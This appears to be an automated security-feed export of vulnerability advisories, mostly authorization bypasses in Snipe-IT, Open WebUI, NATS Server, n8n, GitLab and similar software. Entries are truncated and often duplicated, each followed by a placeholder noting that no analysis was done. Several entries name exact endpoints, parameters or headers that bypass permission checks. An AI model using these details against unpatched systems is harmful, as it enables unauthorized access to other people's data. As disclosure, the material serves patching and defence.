Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the legacy single-seat license checkin flow authorizes the action with the checkout permission instead of the checkin permission, allowing a user who can assign licenses but not unassign them to directly access the old checkin endpoint and reclaim a license seat assigned to another user or asset. This issue is fixed in version 8.6.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT is an IT asset/license management system. Prior to 8.6.1, the Importer API endpoint allows a user with CSV import capabilities and a valid API key to overwrite the created_by value of an import file, allowing unauthorized modification of import ownership metadata. This issue is fixed in version 8.6.1.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT is an IT asset/license management system. Prior to 8.6.2, UsersController::show() and printInventory() authorize only user viewing before loading and rendering assigned license, accessory, and consumable relationships, allowing an authenticated user with only users.view to see inventory and cost/order metadata from modules that direct permissions would otherwise deny. This issue is fixed
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary A resource-scoped API token can read script contents outside its allowed path scope via `GET /api/w/{workspace}/scripts/list_search`. This appears to be a remaining variant of the scoped-token authorization class previously addressed for other endpoints. The route-level scope middleware validates the token domain/action, but does not enforce the resource/path segment of a scope. `scr
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT is an IT asset/license management system. Prior to 8.6.2, when Full Multiple Companies Support and scope_locations_fmcs are enabled, the API location creation endpoint detects an invalid parent-child company mismatch but does not return immediately, allowing creation of a child location under a parent location from a different company. This issue is fixed in version 8.6.2.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT is an IT asset/license management system. Prior to 8.6.2, an authenticated non-admin user with users.view and users.edit but without users.delete can directly POST to /users/bulksave with delete_user=1 because BulkUsersController::destroy() authorizes only update, allowing the user to soft-delete another non-admin user. This issue is fixed in version 8.6.2.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ZITADEL is an open source identity management platform. Prior to 3.4.12 and 4.15.2, ZITADEL's OAuth2 and OIDC CodeExchange, RefreshToken, and device token flows fail to verify that the requesting client matches the client that initiated the authorization flow, allowing intercepted grants or refresh tokens to be exchanged under a different client. This issue is fixed in versions 3.4.12 and 4.15.2.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wekan is open source kanban built with Meteor. Prior to 9.64, Wekan has a cross-board authorization bypass in the direct Meteor collection allow rules for Checklists and ChecklistItems because updates are authorized only against the current source doc.cardId and do not inspect the destination cardId or boardId in the update modifier, allowing a low-privileged authenticated user with write access t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
9Router is an AI router & token saver. Prior to 0.5.2, 9router protects /v1, /v1beta, /api/v1, and /api/v1beta in src/dashboardGuard.js but omits /codex before next.config.mjs rewrites /codex/* to /api/v1/responses. A remote unauthenticated attacker can send requests to /codex/* to bypass the API-key gate and cause the server to make upstream provider calls using operator-stored LLM provider crede
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Simple Machines Forum 2.1 prior to 2.1.8 and 3.0 prior to 3.0 Alpha 5 contains an authorization bypass vulnerability in Sources/Actions/AttachmentApprove.php where a single-character operator error causes the permission check to always pass regardless of user permissions. An authenticated low-privileged user can approve, reject, or delete any pending attachments on any board without holding the re
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FlaskBB through 2.2.0, fixed in commit acc88cf, contains an authorization bypass vulnerability that allows authenticated moderators to perform unauthorized actions on topics in forums they do not control by submitting crafted topic ID lists. Attackers can include a low-ID topic from a permitted forum as an anchor in a batch request, causing the permission check applied only to the first result to
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization, Improper Access Control vulnerability in Apache IoTDB. Authorization bypass in /rest/v2/fastLastQuery exposes last-value data to unauthorized authenticated users. This issue affects Apache IoTDB: from 1.3.5 before 1.3.8, from 2.0.5 before 2.0.10. Users are recommended to upgrade to version 2.0.10, which fixes the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security flaw has been discovered in zhayujie CowAgent up to 2.1.0. The impacted element is an unknown function of the file channel/channel.py of the component Message Endpoint. The manipulation results in missing authorization. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an is
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Gutenberg Blocks with AI by Kadence WP – Page Builder Features plugin for WordPress is vulnerable to unauthorized post publication in all versions up to, and including, 3.5.32 due to a misconfigured capability check on the 'get_items_permission_check' function permission callback of the 'process_pattern' REST API endpoint. This makes it possible for authenticated attackers, with Contributor-le
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Fluent Forms plugin for WordPress is vulnerable to incorrect authorization via the 'subscription_id' parameter in versions up to, and including, 6.2.1. This is due to insufficient ownership authorization checks in the payment cancellation AJAX flow. This makes it possible for authenticated attackers, with subscriber-level access and above, to submit cancellation requests for other users' subsc
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was detected in Sipeed PicoClaw up to 0.2.9. This vulnerability affects the function rt.ReloadConfig of the file pkg/channels/pico/pico.go. Performing a manipulation of the argument message.send results in missing authorization. It is possible to initiate the attack remotely. The exploit is now public and may be used. The reported GitHub issue was closed automatically due to inacti
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A weakness has been identified in Sipeed PicoClaw up to 0.2.9. Affected by this issue is some unknown functionality of the file pkg/channels/mqtt/mqtt.go of the component MQTT Channel Handler. This manipulation of the argument client_id causes incorrect authorization. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact An authorization bypass vulnerability exists in the shop account API. The `PATCH /api/v2/shop/account/orders/{tokenValue}/payments/{paymentId}` endpoint, used by an authenticated shop customer to change the payment method of an order that has been placed but not yet paid (state `STATE_NEW`), does not validate that the chosen payment method is enabled for the order's channel. The equival
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Avo's direct attachment upload endpoint lacks server-side upload authorization and bypasses the documented field-level upload policy methods such as `upload_{FIELD_ID}?`. An authenticated Avo user who can reach the Avo attachment upload endpoint can replace or add attachment content, including binary content, filename, and content-type metadata, on a resolved record even when both `u
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.11 before 0.10.0, POST /api/v1/images/edit required only a verified account and did not enforce the global image-edit switch or the per-user image-generation permission, allowing a non-admin user to invoke server-side image editing with administrator-configured provider credentials. This issue is fixed i
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 before 0.10.0, execute_automation rehydrated automation owners without rechecking that they were still active or still had features.automations, and check_model_access only enforced private-model grants for the exact user role, allowing deactivated pending users to continue scheduled model execution. T
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, the file upload path accepted metadata.knowledge_id and auto-linked uploaded files to a target knowledge base without applying the write-access check used by /api/v1/knowledge//file/add, allowing read-only knowledge-base users to add arbitrary files. This issue is fixed in version 0.10.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _verify_knowledge_file_access only checked read access while file write and delete routes later trusted object-derived access through writable model meta.knowledge entries, allowing a user with read-only knowledge file access to upgrade to file write or delete operations. This issue is f
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _verify_knowledge_file_access only checked read access while file write and delete routes later trusted object-derived access through writable model meta.knowledge entries, allowing a user with read-only knowledge file access to upgrade to file write or delete operations. This issue is f
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, the file upload path accepted metadata.knowledge_id and auto-linked uploaded files to a target knowledge base without applying the write-access check used by /api/v1/knowledge//file/add, allowing read-only knowledge-base users to add arbitrary files. This issue is fixed in version 0.10.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An improper authorization check in MISP’s attribute creation endpoint allowed an authenticated user with permission to add attributes to submit a sharing_group_id without triggering the corresponding sharing group authorization check, as long as the attribute distribution value was not explicitly set to 4 — “sharing group”. As a result, a user could reference or associate an attribute with a sha
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 before 0.10.0, execute_automation rehydrated automation owners without rechecking that they were still active or still had features.automations, and check_model_access only enforced private-model grants for the exact user role, allowing deactivated pending users to continue scheduled model execution. T
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.11 before 0.10.0, POST /api/v1/images/edit required only a verified account and did not enforce the global image-edit switch or the per-user image-generation permission, allowing a non-admin user to invoke server-side image editing with administrator-configured provider credentials. This issue is fixed i
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An improper authorization check in MISP’s attribute creation endpoint allowed an authenticated user with permission to add attributes to submit a sharing_group_id without triggering the corresponding sharing group authorization check, as long as the attribute distribution value was not explicitly set to 4 — “sharing group”. As a result, a user could reference or associate an attribute with a sha
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Inappropriate implementation in Forms in Google Chrome prior to 150.0.7871.115 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab EE affecting all versions from 18.2 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user with auditor-level access to modify compliance violation records due to improper authorization on certain GraphQL operations.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
HashiCorp Nomad and Nomad Enterprise are vulnerable to a cross-namespace authorization bypass in the dynamic host volumes feature that may allow an operator holding the host volume delete permission in one namespace to delete a sticky volume claim belonging to a job in another namespace. This vulnerability, CVE-2026-14896, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab EE affecting all versions from 16.10 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user to modify group-level settings beyond their intended permissions due to improper authorization controls.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Progress MOVEit Transfer (Audit User module). This issue affects MOVEit Transfer: before 2025.0.7, from 2025.1.0 before 2025.1.3.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab EE affecting all versions from 18.2 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user with auditor-level access to modify compliance violation records due to improper authorization on certain GraphQL operations.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wasmtime is a runtime for WebAssembly. Prior to 24.0.11, 36.0.12, 45.0.3, and 46.0.1, wasmtime-wasi hard-link creation and renaming check directory permissions but not matching FilePerms on source and destination preopens, allowing a WASI guest with a read-only source file capability to overwrite host files exposed as FilePerms::READ through wasip1, wasip2, or wasip3 filesystem interfaces. This is
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client could be registered as the configured no_auth_user through a parser path used when the first client operation was not CONNECT, bypassing user-level connection restrictions such as allowed_connection_types or proxy_required that normal authentication would apply. T
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to 7.260401.0, the OpenCTI GraphQL API exposes a script filter operator in its FilterOperator enum that allows any authenticated user with the KNOWLEDGE capability to pass user-supplied Elasticsearch Painless script values directly into search queries without validation or sanitization, allow
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to 7.260326.0, an authorization bypass vulnerability in OpenCTI allows any authenticated user with KNOWLEDGE_KNUPDATE permission to bypass Confidence Level validation and Object Marking restrictions by injecting the synchronized-upsert: true HTTP header, enabling attackers to downgrade confid
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
HashiCorp Nomad and Nomad Enterprise are vulnerable to a cross-namespace authorization bypass in the dynamic host volumes feature that may allow an operator holding the host volume delete permission in one namespace to delete a sticky volume claim belonging to a job in another namespace. This vulnerability, CVE-2026-14896, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab EE affecting all versions from 16.10 before 18.11.7, 19.0 before 19.0.4, and 19.1 before 19.1.2 that under certain conditions could have allowed an authenticated user to modify group-level settings beyond their intended permissions due to improper authorization controls.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to 7.260326.0, an authorization bypass vulnerability in OpenCTI allows any authenticated user with KNOWLEDGE_KNUPDATE permission to bypass Confidence Level validation and Object Marking restrictions by injecting the synchronized-upsert: true HTTP header, enabling attackers to downgrade confid
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wasmtime is a runtime for WebAssembly. Prior to 24.0.11, 36.0.12, 45.0.3, and 46.0.1, wasmtime-wasi hard-link creation and renaming check directory permissions but not matching FilePerms on source and destination preopens, allowing a WASI guest with a read-only source file capability to overwrite host files exposed as FilePerms::READ through wasip1, wasip2, or wasip3 filesystem interfaces. This is
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Progress MOVEit Transfer (Audit User module). This issue affects MOVEit Transfer: before 2025.0.7, from 2025.1.0 before 2025.1.3.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.8, message trace destination checks were applied to ordinary client connections but not consistently to messages arriving through leafnode connections, allowing a leafnode operator to send trace events to subjects that would not otherwise be permitted and to use trace-only beh
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, an authenticated MQTT client could subscribe to the internal $MQTT.deliver.pubrel subject family, bypassing configured subscribe permissions and exposing MQTT QoS2 protocol metadata for sessions in the account. This issue is fixed in versions 2.14.3 and 2.12.12.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, MQTT retained message delivery and QoS1+ durable replay could deliver messages whose original topics matched a subscriber configured subscribe deny rule because these delivery paths did not consistently recheck the concrete original topic before sending the MQTT PUBLISH to
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client could be registered as the configured no_auth_user through a parser path used when the first client operation was not CONNECT, bypassing user-level connection restrictions such as allowed_connection_types or proxy_required that normal authentication would apply. T
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, MQTT retained message delivery and QoS1+ durable replay could deliver messages whose original topics matched a subscriber configured subscribe deny rule because these delivery paths did not consistently recheck the concrete original topic before sending the MQTT PUBLISH to
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, an authenticated MQTT client could subscribe to the internal $MQTT.deliver.pubrel subject family, bypassing configured subscribe permissions and exposing MQTT QoS2 protocol metadata for sessions in the account. This issue is fixed in versions 2.14.3 and 2.12.12.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.8, message trace destination checks were applied to ordinary client connections but not consistently to messages arriving through leafnode connections, allowing a leafnode operator to send trace events to subjects that would not otherwise be permitted and to use trace-only beh
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SeaweedFS is a distributed storage system. In versions 4.08 through 4.33, requests signed with SigV4 service s3tables are routed to the S3Tables management API where authorization collapses account-less S3 identities into the shared admin account and fails open, allowing an authenticated low-privileged S3 user to enumerate administrator-owned table bucket names and ARNs. This issue is fixed in ver
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frigate is an open source network video recorder. In version 0.17.1, the GET /api/logs/{service} endpoint allows any authenticated user including the viewer role to download Frigate and nginx logs, exposing auto-generated admin passwords and camera credentials logged in request query strings and enabling viewer-to-admin privilege escalation. A fixed release has not been identified.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frigate is an open source network video recorder. In version 0.17.1, the GET /api/logs/{service} endpoint allows any authenticated user including the viewer role to download Frigate and nginx logs, exposing auto-generated admin passwords and camera credentials logged in request query strings and enabling viewer-to-admin privilege escalation. A fixed release has not been identified.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SeaweedFS is a distributed storage system. In versions 4.08 through 4.33, requests signed with SigV4 service s3tables are routed to the S3Tables management API where authorization collapses account-less S3 identities into the shared admin account and fails open, allowing an authenticated low-privileged S3 user to enumerate administrator-owned table bucket names and ARNs. This issue is fixed in ver
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MISP’s importModule() path used getEnabledModule() to resolve a single import module by name, but this lookup did not enforce the per-organisation module restriction checked by getEnabledModules(). As a result, an authenticated user from an organisation that was not allowed to use a module restricted via Plugin.Import__restrict could still invoke that import module directly if they knew its name.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 2.25.7 and 2.26.x before 2.26.2 contains an authorization bypass in the Public API execution retry endpoint, which authorizes access using the workflow:read scope instead of workflow:execute. An authenticated user with read-only access to a shared workflow can use the Public API to retry executions of that workflow, bypassing the intended permission boundary between read and execute acc
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 1.123.55, 2.25.7, and 2.26.2 contains an authorization bypass in the POST /workflows/{workflowId}/test-runs/new endpoint, which authorizes access using the workflow:read scope instead of workflow:execute. An authenticated user with read-only access to a workflow can trigger a real evaluation test run, causing the workflow to execute via the internal workflow runner and resulting in unin
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 1.123.55, 2.25.7, and 2.26.2 contains an authorization vulnerability in three mutating evaluation test-run endpoints that authorize state-changing actions using the workflow:read scope instead of the action-appropriate workflow:execute scope. On instances using Advanced Permissions (Enterprise/Cloud) with projects and viewer roles, an authenticated user with the project:viewer role can
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capgo before 12.128.2 contains an authorization bypass vulnerability in the public.manifest INSERT policy that allows read-only org members to insert OTA manifest rows. Attackers with read-only org access can inject malicious manifest entries with arbitrary s3_path values that are served to devices via the unauthenticated /updates endpoint, enabling OTA metadata poisoning and potential malicious a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.6, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an Incorrect Authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 2.25.7 and 2.26.x before 2.26.2 contains an authorization bypass in the Public API execution retry endpoint, which authorizes access using the workflow:read scope instead of workflow:execute. An authenticated user with read-only access to a shared workflow can use the Public API to retry executions of that workflow, bypassing the intended permission boundary between read and execute acc
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 1.123.55, 2.25.7, and 2.26.2 contains an authorization bypass in the POST /workflows/{workflowId}/test-runs/new endpoint, which authorizes access using the workflow:read scope instead of workflow:execute. An authenticated user with read-only access to a workflow can trigger a real evaluation test run, causing the workflow to execute via the internal workflow runner and resulting in unin
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n before 1.123.55, 2.25.7, and 2.26.2 contains an authorization vulnerability in three mutating evaluation test-run endpoints that authorize state-changing actions using the workflow:read scope instead of the action-appropriate workflow:execute scope. On instances using Advanced Permissions (Enterprise/Cloud) with projects and viewer roles, an authenticated user with the project:viewer role can
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capgo before 12.128.2 contains an authorization bypass vulnerability in the public.manifest INSERT policy that allows read-only org members to insert OTA manifest rows. Attackers with read-only org access can inject malicious manifest entries with arbitrary s3_path values that are served to devices via the unauthenticated /updates endpoint, enabling OTA metadata poisoning and potential malicious a
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MISP’s importModule() path used getEnabledModule() to resolve a single import module by name, but this lookup did not enforce the per-organisation module restriction checked by getEnabledModules(). As a result, an authenticated user from an organisation that was not allowed to use a module restricted via Plugin.Import__restrict could still invoke that import module directly if they knew its name.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, the tailnet coordinator validates that an agent's `Addresses` derive from its authenticated UUID but applies no equivalent check to `AllowedIPs`. The coordinator forwards agent-supplied `AllowedIPs` verbatim to tunnel peers which install them into the WireGua
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, the tailnet coordinator validates that an agent's `Addresses` derive from its authenticated UUID but applies no equivalent check to `AllowedIPs`. The coordinator forwards agent-supplied `AllowedIPs` verbatim to tunnel peers which install them into the WireGua
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary Flask-Security-Too 5.8.0 and 5.8.1 mark a session as reauthentication-fresh after processing a WebAuthn assertion whose proven credential belongs to a different user than the currently authenticated session user. The check that `GHSA-97r5-pg8x-p63p` added on the OAuth reauthentication path (`user.email == current_user.email`) is missing on the WebAuthn reauthentication path. An attack
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary `Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id. A user holding the `m
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Hasura is an open-source product that provides users GraphQL or REST APIs. Prior to 2.49.2 and 2.45.5, a user can use a where clause on a table computed field (returning SETOF some_table) to infer row values that ought to be filtered for their role based on some_table's row-level permissions. While such rows cannot be returned directly, like predicates on strings for instance allow values to be br
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Hasura is an open-source product that provides users GraphQL or REST APIs. Prior to 2.49.2 and 2.45.5, a user can use a where clause on a table computed field (returning SETOF some_table) to infer row values that ought to be filtered for their role based on some_table's row-level permissions. While such rows cannot be returned directly, like predicates on strings for instance allow values to be br
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cilium is a networking, observability, and security solution. Prior to 1.17.16, from 1.18.2 to 1.18.9, and from 1.19.0 to 1.19.3, users with the ability to create CiliumLocalRedirectPolicies can specify arbitrary ClusterIPs via addressMatcher, enabling hijacking traffic to Services in any namespace and bypassing namespace scoping enforced by serviceMatcher; deleting such a policy can also corrupt
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
DataEase is an open source data visualization and analysis tool. Prior to 2.10.24, the /de2api/share/proxyInfo share interface generates and returns X-DE-LINK-TOKEN before validating the share password or ticket, allowing unauthenticated attackers who know a protected share UUID to obtain a valid link token for subsequent share-related API calls even with missing or invalid credentials. This issue
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Am I affected? Users are affected if all of the following hold: - Their application depends on `@better-auth/oauth-provider` on any stable `1.6.x` release (the stable line is not patched) or on a pre-release before `1.7.0-beta.4`. - Their application either configures validAudiences` with more than one audience, or it issues JWT access tokens whose `aud` (resource) claim is consumed by the
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cilium is a networking, observability, and security solution. Prior to 1.17.16, from 1.18.2 to 1.18.9, and from 1.19.0 to 1.19.3, users with the ability to create CiliumLocalRedirectPolicies can specify arbitrary ClusterIPs via addressMatcher, enabling hijacking traffic to Services in any namespace and bypassing namespace scoping enforced by serviceMatcher; deleting such a policy can also corrupt
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
DataEase is an open source data visualization and analysis tool. Prior to 2.10.24, the /de2api/share/proxyInfo share interface generates and returns X-DE-LINK-TOKEN before validating the share password or ticket, allowing unauthenticated attackers who know a protected share UUID to obtain a valid link token for subsequent share-related API calls even with missing or invalid credentials. This issue
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Am I affected? Users are affected if all of the following are true: - Their application uses `better-auth` and has enabled at least one of: `oidcProvider()` (imported from `better-auth/plugins/oidc-provider`), or `mcp()` (imported from `better-auth/plugins/mcp`). - Their application has at least one confidential OAuth client registered (any client with `type: "web" | "native" | "user-agent-b
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Coder allows organizations to provision remote development environments via Terraform. Starting in version 2.30.0 and prior to versions 2.32.7, 2.33.8, and 2.34.2, AI Bridge proxy endpoints authenticate via `Server.IsAuthorized` in `coderd/aibridgedserver`, which validates key format, expiry, secret and deleted or system users but does not check whether the account is suspended. Because suspension
